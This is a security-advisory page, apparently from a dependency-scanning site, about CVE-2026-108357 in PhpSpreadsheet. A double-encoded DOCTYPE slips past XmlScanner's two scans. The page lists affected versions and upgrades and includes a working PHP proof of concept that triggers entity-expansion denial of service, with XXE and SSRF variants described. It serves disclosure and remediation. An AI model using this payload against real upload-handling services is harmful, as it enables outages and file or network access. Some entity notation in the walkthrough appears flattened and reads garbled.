PhpSpreadsheet: XmlScanner Bypass via Double-Encoded unentity() TOCTOU Allows XXE and Denial of Service
CVE-2026-108357 · GHSA-rxj4-h86g-25gc · published 27 Oct 2026
How serious is it
- Severity: high, CVSS score 8.8 out of 10.
- No exploit prediction (EPSS) score yet.
- Not on the CISA list of exploited vulnerabilities.
- No public exploit in Exploit-DB.
Is your app affected by CVE-2026-108357?
Paste this prompt into Claude Code, Cursor or any AI coding tool: it runs a free Shippable scan of your project and fixes what it finds. Built with Lovable, Bolt or v0? Scan your live app. Or upload your package file.
Who is affected
phpoffice/phpspreadsheet(Packagist) >= 4.0.0, <= 5.9.0phpoffice/phpspreadsheet(Packagist) >= 3.3.0, <= 3.10.7
How to check
- Run
composer show phpoffice/phpspreadsheetin your project to see the installed version, including copies pulled in by other packages. - Or paste your lockfile into the checker: it lists every package with a known vulnerability, this one included.
How to fix
Copies a prompt for Claude Code, Cursor or Codex: it checks your lockfiles for this and upgrades it.
- On >= 4.0.0, <= 5.9.0: Upgrade
phpoffice/phpspreadsheetto 5.10.0 or later, commit the lockfile and redeploy. - On >= 3.3.0, <= 3.10.7: Upgrade
phpoffice/phpspreadsheetto 3.10.8 or later, commit the lockfile and redeploy. - If a vulnerable version was live, check your logs and rotate the secrets that server could read.
The advisory
### Summary
The SpreadsheetML XML reader (`Reader\Xml`) scans file content **twice** through `XmlScanner::scan()`, and each scan runs an `unentity()` callback that calls `html_entity_decode()` **after** the pattern check. By double-encoding the `<` character as `&#60;`, the first scan decodes `&` to `&` (forming `<`), and the second scan decodes `<` to `<` (forming `<!DOCTYPE`). Neither scan's pattern check detects the `<!DOCTYPE` string because the callback runs after each check. This enables Denial of Service via entity expansion on **all PHP versions**, and XXE/SSRF on PHP < 8.0 or when `LIBXML_NOENT` is used.
### Details
The vulnerability involves an interaction between three code locations:
**1. `XmlScanner::scan()`** (XmlScanner.php, lines 87–108) — checks the pattern *before* the callback:
```php
public function scan($xml): string
{
$pattern = '/\0*<\0*!\0*D\0*O\0*...\0*/';
if (preg_match($pattern, $xml)) { // CHECK 1 (raw)
throw new Exception('Detected use of ENTITY...');
}
$xml = $this->toUtf8($xml);
if (preg_match($pattern, $xml)) { // CHECK 2 (UTF-8)
throw new Exception('Detected use of ENTITY...');
}
if ($this->callback !== null) {
$xml = call_user_func($this->callback, $xml); // DECODE (after checks!)
}
return $xml; // <!DOCTYPE now present, never checked
}
```
**2. `Xml::canRead()`** (Xml.php, lines 79–117) — scans and stores the result:
```php
$data = file_get_contents($filename);
$data = $this->getSecurityScannerOrThrow()->scan($data); // 1st scan
// ...
$this->fileContents = $data; // stores partially-decoded content
```
**3. `Xml::trySimpleXMLLoadStringPrivate()`** (Xml.php, lines 120–150) — re-scans the stored content:
```php
$data = $this->fileContents; // already partially decoded
$xml = simplexml_load_string(
$this->getSecurityScannerOrThrow()->scan($data) // 2nd scan finishes decoding
);
```
The double-scan decode chain:
```
Raw file: &#60;!DOCTYPE
|
1st scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(&) = &
|
Stored: <!DOCTYPE
|
2nd scan(): pattern check → no match (no "<" character)
callback → html_entity_decode(<) = <
|
Parser sees: <!DOCTYPE ← never detected by either scan
```
The `unentity()` callback (Xml.php, lines 54–61) protects five named entities (`& < > " '`) via Unicode placeholders, but numeric entities (`& < & <`) are not protected and are decoded by `html_entity_decode()`.
### PoC
Save the following as `poc_toctou.php` in a directory with PhpSpreadsheet installed via Composer:
```php
<?php
require 'vendor/autoload.php';
// Double-encoded: &#60; survives two scan() passes
// 1st scan callback: & → & (forms <)
// 2nd scan callback: < → < (forms <!DOCTYPE)
$entity_value = str_repeat('A', 100000);
$refs = str_repeat('&big;', 200);
$xml = '<?xml version="1.0"?>' . "\n"
. '<?mso-application progid="Excel.Sheet"?>' . "\n"
. '&#60;!DOCTYPE Workbook [' . "\n"
. ' &#60;!ENTITY big "' . $entity_value . '">' . "\n"
. ']>' . "\n"
. '<Workbook xmlns="urn:schemas-microsoft-com:office:spreadsheet"' . "\n"
. ' xmlns:ss="urn:schemas-microsoft-com:office:spreadsheet">' . "\n"
. ' <Worksheet ss:Name="Sheet1">' . "\n"
. ' <Table><Row><Cell><Data ss:Type="String">' . $refs . '</Data></Cell></Row></Table>' . "\n"
. ' </Worksheet>' . "\n"
. '</Workbook>';
file_put_contents('poc.xml', $xml);
echo "File size: " . filesize('poc.xml') . " bytes\n";
$mem_before = memory_get_usage(true);
$reader = new \PhpOffice\PhpSpreadsheet\Reader\Xml();
echo "canRead: " . ($reader->canRead('poc.xml') ? 'true' : 'false') . "\n";
$spreadsheet = $reader->load('poc.xml');
$peak = memory_get_peak_usage(true);
echo "Peak memory: " . round($peak / 1024 / 1024, 1) . " MB\n";
$val = $spreadsheet->getActiveSheet()->getCell('A1')->getValue();
echo "Cell A1 length: " . strlen($val) . " bytes\n";
echo "Entity expansion: " . (strlen($val) > 10000 ? "CONFIRMED" : "not detected") . "\n";
```
Run: `php -d memory_limit=512M poc_toctou.php`
**Expected result:** The file loads successfully, bypassing both scan passes. Internal entities expand, consuming ~45 MB of memory. Cell A1 contains 32,767 bytes (PhpSpreadsheet's max cell length, confirming entity expansion).
**Hex variant:** Replace `&#60;` with `&#x3C;` — both are decoded by `html_entity_decode()`.
**Tested on:** PhpSpreadsheet 5.9.0, PHP 8.5.3, libxml2 2.9.13.
### Impact
| Attack | PHP < 8.0 / libxml2 < 2.9 | PHP 8.x / libxml2 2.9+ |
|--------|---------------------------|------------------------|
| Denial of Service (quadratic blowup) | **Exploitable** | **Exploitable** |
| Local file read via SYSTEM entity | **Exploitable** | Blocked by default |
| SSRF via SYSTEM entity | **Exploitable** | Blocked by default |
| File read when LIBXML_NOENT is used | **Exploitable** | **Exploitable** |
Any application that accepts user-uploaded SpreadsheetML XML files (recognized by the `<?mso-application progid="Excel.Sheet"?>` processing instruction) and processes them with PhpSpreadsheet's `Xml` reader is vulnerable.
Check your whole app
Dependencies are only half of it. Free and read-only: before you push, run npx shippable-dev scan localhost:3000 in your project folder, no account needed. For your live app, you prove it's yours with a one-line tag first.
References
- github.com/PHPOffice/PhpSpreadsheet/security/advisories/GHSA-rxj4-h86g-25gc
- nvd.nist.gov/vuln/detail/CVE-2026-108357
- github.com/PHPOffice/PhpSpreadsheet/commit/89f455c133e1a7e2d4abfadc43ce29eb7450d781
- github.com/PHPOffice/PhpSpreadsheet/commit/980b5c294493856f1a25754f1e8a1d2185b93738
- github.com/PHPOffice/PhpSpreadsheet/releases/tag/3.10.8
- github.com/PHPOffice/PhpSpreadsheet/releases/tag/5.10.0
- github.com/advisories/GHSA-rxj4-h86g-25gc
- github.com/PHPOffice/PhpSpreadsheet
Merged from GitHub Advisory Database, OSV. Last updated 28 Oct 2026. All vulnerabilities · RSS · JSON